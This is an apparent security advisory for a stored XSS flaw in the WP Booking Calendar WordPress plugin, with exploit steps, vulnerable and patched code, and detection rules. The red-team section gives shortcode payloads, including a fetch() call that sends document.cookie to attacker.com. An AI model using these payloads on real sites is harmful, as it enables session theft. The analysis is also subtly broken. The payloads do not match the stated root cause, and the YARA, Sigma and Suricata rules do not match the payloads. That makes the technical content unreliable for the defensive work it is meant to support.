CVE-2024-6930

Executive Summary

CVE-2024-6930 is a Stored Cross-Site Scripting (XSS) vulnerability in the WP Booking Calendar plugin for WordPress, affecting all versions up to and including 10.2.1. The flaw resides in the bookingform shortcode, where the type attribute is insufficiently sanitized and escaped. An authenticated attacker with contributor-level access or higher can inject arbitrary web scripts that execute when any user visits the compromised page. This can lead to session hijacking, credential theft, or defacement within the WordPress ecosystem.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No supply chain compromise has been identified, but the lack of a patch increases risk for sites using this plugin.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (contributor-level)
• User Interaction: None
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. Exploitation requires authentication but can lead to persistent compromise of user sessions and data.

Deep Dive & Mechanics

The vulnerability exists in the bookingform shortcode handler. The type attribute is passed through user input without proper sanitization or output escaping. When the shortcode is rendered, the unsanitized value is injected into the page HTML, allowing an attacker to break out of the attribute context and inject arbitrary JavaScript.

Root Cause: The plugin uses add_shortcode('bookingform', ...) and processes the $atts array. The type attribute is directly echoed or concatenated into the output without using esc_attr() or wp_kses().

Attack Flow:

1. Attacker logs in with contributor-level privileges.
2. Creates or edits a post/page containing the shortcode: [bookingform type="default" onclick="alert('XSS')"]
3. The injected script executes when any user views the page.

Vulnerable vs. Patched Code

Vulnerable Code (<= 10.2.1):

function bookingform_shortcode($atts) {
    extract(shortcode_atts(array(
        'type' => 'default',
    ), $atts));
    echo '<div class="bookingform" data-type="' . $type . '">...</div>';
}

Patched Code (Hypothetical):

function bookingform_shortcode($atts) {
    $atts = shortcode_atts(array(
        'type' => 'default',
    ), $atts);
    $type = esc_attr($atts['type']);
    echo '<div class="bookingform" data-type="' . $type . '">...</div>';
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress instance with WP Booking Calendar <= 10.2.1
• Contributor-level account

Exploit Steps:

1. Log in as contributor.
2. Create a new post.
3. Insert the following shortcode in the content:

   [bookingform type="default" onmouseover="alert(document.cookie)"]
   

4. Publish the post.
5. Any user hovering over the booking form will trigger the XSS.

Advanced Payload:

[bookingform type="default" onfocus="fetch('https://attacker.com/steal?cookie='+document.cookie)" autofocus]

Blue Team

Detection:

• Monitor for posts/pages containing [bookingform with suspicious attributes.
• Check for on* event handlers in shortcode attributes.

Hunting Query (SQL):

SELECT * FROM wp_posts WHERE post_content LIKE '%[bookingform%type=%on%';

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to attacker-controlled domains containing cookie data.
• Host: Posts/pages with shortcode containing on* event handlers.
• Logs: WordPress audit logs showing post creation/editing by contributor users with unusual shortcode attributes.

Detection Engineering

YARA Rule

rule CVE_2024_6930_WP_Booking_Calendar_XSS {
    meta:
        description = "Detects malicious shortcode injection in WP Booking Calendar"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-6930"
    strings:
        $shortcode = /\[bookingform\s+type\s*=\s*["'][^"']*?(on\w+\s*=|javascript:)/i
    condition:
        $shortcode
}

Sigma Rule

title: WP Booking Calendar Stored XSS via Shortcode
id: 8a2b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects posts containing malicious bookingform shortcode attributes
author: Valters IT
logsource:
    product: wordpress
    service: audit
detection:
    selection:
        EventID: 1000
        PostContent|contains: '[bookingform'
        PostContent|re: 'type\s*=\s*["\'][^"\']*?(on\w+\s*=|javascript:)'
    condition: selection
falsepositives:
    - Legitimate use of event handlers (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-6930 WP Booking Calendar XSS Exfiltration"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"cookie"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the WP Booking Calendar plugin until a patch is released.
2. Restrict contributor-level users from using shortcodes via user_can filters.
3. Implement a Web Application Firewall (WAF) rule to block shortcodes with on* attributes.

Long-term Fix:

• Apply the patched code (see above) or wait for vendor update.
• Conduct code review of all shortcode handlers for proper input sanitization.

Workaround:

• Use a plugin like "Shortcode Restrictions" to limit which shortcodes contributors can use.

Valters IT
Securing Digital Ecosystems